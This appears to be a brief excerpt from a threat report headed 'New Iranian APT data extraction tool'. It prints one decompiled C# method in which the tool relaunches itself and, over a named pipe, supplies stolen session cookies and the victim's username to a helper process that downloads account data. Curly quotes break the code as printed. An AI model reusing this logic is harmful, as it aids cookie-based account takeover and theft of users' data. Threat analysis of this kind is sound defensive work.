
New Iranian APT data extraction tool
public void ManageTakeOut() {
string text = “PipeName”;
Process process = new Process();
process.StartInfo.Arguments = string.Format(“PIPE Google “{0}””, text);
process.StartInfo.FileName = Process.GetCurrentProcess().MainModule.FileName;
process.Start();
PipeCommunication pipeCommunication = new PipeCommunication(true, text);
bool flag = false;
while (!flag) {
try {
JsonInfo jsonInfo = pipeCommunication.Read();
switch (jsonInfo.Type) {
case JsonType.GetCookies:
jsonInfo.Data = this.CookieText;
pipeCommunication.Write(jsonInfo);
break;
case JsonType.TakeOutFile:
flag = true;
break;
case JsonType.GetUsername:
while (this.OperationObject.GetUsername() == null) {
Thread.Sleep(1000);
}
jsonInfo.Data = this.OperationObject.GetUsername();
pipeCommunication.Write(jsonInfo);
break;
}
} catch (Exception) {
bool hasExited = process.HasExited;
if (hasExited) {
flag = true;
}
}
}
pipeCommunication.Close();
}